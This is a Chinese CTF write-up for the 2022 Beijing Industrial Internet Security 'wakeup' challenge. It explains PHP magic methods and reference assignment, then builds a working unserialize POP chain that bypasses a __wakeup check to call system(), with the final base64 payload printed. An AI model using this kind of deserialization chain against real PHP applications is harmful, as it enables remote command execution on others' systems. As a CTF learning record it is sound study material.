2022北京工业互联网安全大赛初赛-wakeup
- 使用引用&来给变量赋值
- php反序列化
这道题打的时候没做出来,赛后看了别人的wp,看到是用引用来赋值,就自己复现出来了。
源码
<?phpclass KeyPort {public function __call($name, $arguments){if(!isset($this->wakeup)||!$this->wakeup){call_user_func_array($this->format[$name],$arguments);}}public function finish(){$this->format=array();return $this->finish->iffinish;}public function __wakeup(){$this->wakeup=True;} }class ArrayObj{private $iffinish;public $name;public function __get($name){return $this->$name=$this->name[$name];} }class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }if($_GET['u']){unserialize(base64_decode($_GET['u'])); }else{highlight_file(__FILE__); }首先要先了解一点基本知识
基本知识
1.魔法函数__destruct()、__wakeup()
__destruct
拥有这个的类的对象在反序列化时,会先执行此对象的__destruct再执行此对象的成员属性的值的__destruct
即先执行外层再执行内层
__wakeup
拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup
即先执行内层再执行外层
eg:
class A{public $c;public function __destruct(){echo 'A',PHP_EOL;}public function __wakeup(){echo 'a',PHP_EOL;} } class SampleClass {public $a;public function __destruct(){echo 'S',PHP_EOL;}public function __wakeup(){echo 's',PHP_EOL;}} //$a=new SampleClass(); //$a->a=new A; $a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}'; unserialize($a);输出
a s S A2.php引用&赋值
在php中可以使用引用的方式来让两个变量名指向同一个内存地址,这样在对一个变量进行操作的时候,另一个变量的值也会变
在函数中使用引用参数来修改传入参数的值
eg:
function test (&$a){$x=&$a;$x='123'; } $x='11'; test($x); echo $x;输出
123可以看见,函数外部的变量值也发生了改变
3.魔法函数__get、__call
__get
当类的成员属性被设定为 private 后,如果在类外部访问这个成员属性,那么就会触发__get()
访问不存在的成员属性也会触发__get
eg:
class C{private $a;public function __get($name){echo $name;} } $c=new C; echo $c->a; echo $c->b;输出
ab__call
PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。
<?php class foo { function __call($name,$arguments) { print("Did you call me? I'm $name!"); } } $x = new foo(); $x->doStuff(); $x->fancy_stuff(); ?> //Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!代码审计
只看到了call_user_func_array可以利用
关键在于如何进入__call且通过这个判断
if(!isset($this->wakeup)||!$this->wakeup)要么不给wakeup赋值,要么控制wakeup为false
在反序列化后,会对KeyPort对象的wakeup进行赋值
所以通过引用来在__wakeup执行后还能对wakeup进行赋值
首先观察到有两个类可以执行__destruct
class SunCorpa {public function __destruct(){if ($this->process->finish()) {$this->process->forward($this->_forward);}} }class MoonCorpa {public function __destruct(){if ($this->process->finish()) {$this->options['new']->forward($this->_forward);}}public function __wakeup(){} }且都执行$this->process->finish(),只是函数代码不同
可以先让一个返回false,另一个返回正常值
我们选择让SunCorpa的$this->process->finish()返回false
这里使用构造器的方式弄链子,否则有点麻烦
POP
class KeyPort {} class MoonCorpa {} class ArrayObj{private $iffinish;public $name;public function __construct(&$a){$this->iffinish=&$a;} }class SunCorpa {public function __construct(){//第一部分,给wakeup赋值false$key=new KeyPort;$arr=new ArrayObj($key->wakeup);//使用这个方式让ArrayObj::iffinish引用wakeup,因为在后面会给ArrayObj::iffinish赋值,这样KeyPort::wakeup也会变$arr->name=array('iffinish'=>false);$this->key=$key;$this->arr=$arr;$this->process=$this->key;$this->key->finish=$arr;//第一部分结束,$this->key->wakeup被赋值为false//第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值$key2=new KeyPort();$moon=new MoonCorpa();//使用这个类的__destruct来进入到KeyPort的__call函数$this->moon=$moon;//让MoonCorpa对象成为此对象的成员$this->key2=$key2;$this->moon->process=$key2;$arr2=new ArrayObj($key->format);//让ArrayObj::iffinish引用$key->format$key2->finish=$arr2;$arr2->name=array('iffinish'=>array('forward'=>'system'));//给$key的format赋值为array('forward'=>'system')$this->moon->options=array('new'=>&$this->key);$this->moon->_forward='dir';//要执行的命令 } $a=new SunCorpa(); echo base64_encode(serialize($a)); //Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=本地执行
成功了,tmd
总结
以上是生活随笔为你收集整理的2022北京工业互联网安全大赛初赛-wakeup的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: 上海2021年高考成绩排位查询,2021
- 下一篇: 03-MapStruct-基本的映射方法